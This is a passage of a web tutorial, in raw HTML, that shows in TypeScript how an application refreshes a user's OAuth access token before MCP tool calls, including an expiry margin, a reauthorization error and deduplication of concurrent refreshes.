class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">transport</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Every request a client from <code>connectAs()</code> sends now follows this path:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Where the credential crosses into the MCP transport</figcaption><ol class="steps_ptmz" aria-label="Where the credential crosses into the MCP transport"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The agent chooses a tool</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The MCP client prepares the request</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">The transport calls <code>token()</code></span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The application returns the current token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The request goes out with that token</span></div></li></ol></figure>
<p>The transport asks for a token just before it needs one. Whether that's the stored token or a fresh one is up to <code>TokenService</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-does-the-applications-token-layer-do">What does the application's token layer do?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-does-the-applications-token-layer-do" class="hash-link" aria-label="Direct link to What does the application's token layer do?" title="Direct link to What does the application's token layer do?" translate="no">​</a></h2>
<p>Now for the <code>TokenService</code> that <code>token()</code> has been calling. It has three jobs:</p>
<ol>
<li class="">Load the user's stored tokens.</li>
<li class="">Decide whether the access token is still good.</li>
<li class="">Refresh it when it isn't.</li>
</ol>
<p>We'll build it in that order, then put the pieces together in one file.</p>
<p><code>TokenService</code> isn't part of the MCP SDK or LangChain. It's an example implementation, and so are the names it uses, such as <code>StoredTokens</code>, <code>TokenStore</code>, and <code>ReauthorizationRequiredError</code>. If your application already has a session or token layer, that layer can do the same job. All <code>token()</code> needs is a function that returns the user's current access token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-the-tokens-live">Where the tokens live<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#where-the-tokens-live" class="hash-link" aria-label="Direct link to Where the tokens live" title="Direct link to Where the tokens live" translate="no">​</a></h3>
<p>When the user signs in, your application receives an access token, a refresh token, and how long the access token lasts. That's what <code>TokenService</code> works with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">interface</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StoredTokens</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  accessToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  refreshToken</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  expiresAt</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">number</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">interface</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">TokenStore</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">StoredTokens </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">save</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span class="token operator">:</span><span class="token plain"> StoredTokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Here's what each one holds:</p>
<ul>
<li class="">
<p><code>StoredTokens</code> is one user's tokens. <code>expiresAt</code> is when the access token expires, as a timestamp in milliseconds.</p>
</li>
<li class="">
<p>The authorization server doesn't send that timestamp. Its token response has an <code>expires_in</code> field instead: how many <em>seconds</em> the access token is valid from now, such as <code>3600</code> for one hour. To get <code>expiresAt</code>, add it to the current time when you receive the token: <code>Date.now() + expires_in * 1000</code>.</p>
</li>
<li class="">
<p><code>TokenStore</code> is wherever your application already keeps session data, such as an encrypted database table. <code>TokenService</code> only needs to <code>get()</code> a user's tokens and <code>save()</code> new ones.</p>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="decide-whether-the-token-is-still-good">Decide whether the token is still good<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#decide-whether-the-token-is-still-good" class="hash-link" aria-label="Direct link to Decide whether the token is still good" title="Direct link to Decide whether the token is still good" translate="no">​</a></h3>
<p><code>getAccessToken()</code> is the method <code>token()</code> calls before every MCP request:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">getAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokens </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">tokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">expiresAt </span><span class="token operator">-</span><span class="token plain"> Date</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">now</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">expiryMarginMs</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> refreshed </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> refreshed</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>It works through three checks:</p>
<ol>
<li class="">If the user has no stored tokens, they need to sign in. It throws a <code>ReauthorizationRequiredError</code>, an error class we'll define in a moment.</li>
<li class="">If the token has more than <code>expiryMarginMs</code> left, 30 seconds by default, it returns the stored token.</li>
<li class="">Otherwise, it refreshes first and returns the new token.</li>
</ol>
<figure class="flow_hvWA"><figcaption class="title__OHd">Reuse or refresh, decided by the application</figcaption><ol class="steps_ptmz" aria-label="Reuse or refresh, decided by the application"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">MCP request about to be sent</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Does the stored token have more than 30 seconds left?</span></div></li><li class="item_fcGx"><div class="columns_z60Q"><div class="column_o_MC"><span class="pathLabel_I0qA">yes</span><ol class="steps_ptmz"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Reuse it</span></div></li></ol></div><div class="column_o_MC"><span class="pathLabel_I0qA">no</span><ol class="steps_ptmz"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Refresh it and save the result</span></div></li></ol></div></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R code_IywH">Authorization: Bearer current_token</span></div></li></ol></figure>
<p>Why refresh early? A token with one second left could expire on its way to the MCP server. The margin gives every request time to arrive.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-the-token">Refresh the token<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#refresh-the-token" class="hash-link" aria-label="Direct link to Refresh the token" title="Direct link to Refresh the token" translate="no">​</a></h3>
<p>The refresh itself happens in <code>runRefresh()</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">runRefresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> current </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">current</span><span class="token operator">?.</span><span class="token plain">refreshToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> next </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">refreshGrant</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">current</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">save</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Step by step:</p>
<ol>
<li class="">It loads the user's tokens again and checks there's a refresh token to use.</li>
<li class="">It calls <code>refreshGrant</code>, which exchanges the refresh token for new tokens.</li>
<li class="">It saves the new tokens, so the next <code>getAccessToken()</code> call finds them.</li>
</ol>
<p>Notice that <code>TokenService</code> doesn't talk to the authorization server itself. <code>refreshGrant</code> is a function you pass in, with this shape:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token comment" style="color:#5A6072;font-style:italic">// Returns undefined when the authorization server rejects the refresh token.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">RefreshGrant</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  refreshToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">StoredTokens </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>That keeps the service the same whichever authorization server you use. We'll write one shortly.</p>
<p>If there's no refresh token, or the authorization server rejects it, <code>runRefresh()</code> throws a <code>ReauthorizationRequiredError</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">class</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ReauthorizationRequiredError</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">extends</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">constructor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">super</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">User </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">userId</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D"> needs to sign in again</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>That error means the user's authorization has ended. Catch it where your application can send the user to sign in again. The agent can't fix it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-once-per-user">Refresh once per user<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#refresh-once-per-user" class="hash-link" aria-label="Direct link to Refresh once per user" title="Direct link to Refresh once per user" translate="no">​</a></h3>
<p>One method is left. <code>getAccessToken()</code> and <code>onUnauthorized()</code> both call <code>refresh()</code>, not <code>runRefresh()</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token function" style="color:#0B1633;font-weight:600">refresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token comment" style="color:#5A6072;font-style:italic">// If this user's token is already being refreshed, wait for that.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">let</span><span class="token plain"> pending </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">pending</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    pending </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">runRefresh</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">finally</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">delete</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refreshing</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> pending</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> pending</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p><code>refreshing</code> maps each user ID to the refresh that's currently running for them. If a second request needs a new token while the first is still refreshing, it waits for the same refresh instead of starting another. We'll see why that matters in <a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-if-two-tool-calls-refresh-at-the-same-time" class="">What if two tool calls refresh at the same time?</a></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="put-it-together">Put it together<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#put-it-together" class="hash-link" aria-label="Direct link to Put it together" title="Direct link to Put it together" translate="no">​</a></h3>
